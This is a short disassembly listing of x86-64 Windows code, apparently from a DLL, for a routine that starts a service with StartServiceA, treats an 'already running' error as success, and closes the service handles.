mov rbp, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, eax
test eax, eax
jne 0x18002319c
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0x420
mov rbx, qword [rsp + 0x30]
mov eax, 1
cmove esi, eax
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbp, qword [rsp + 0x38]
mov eax, esi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret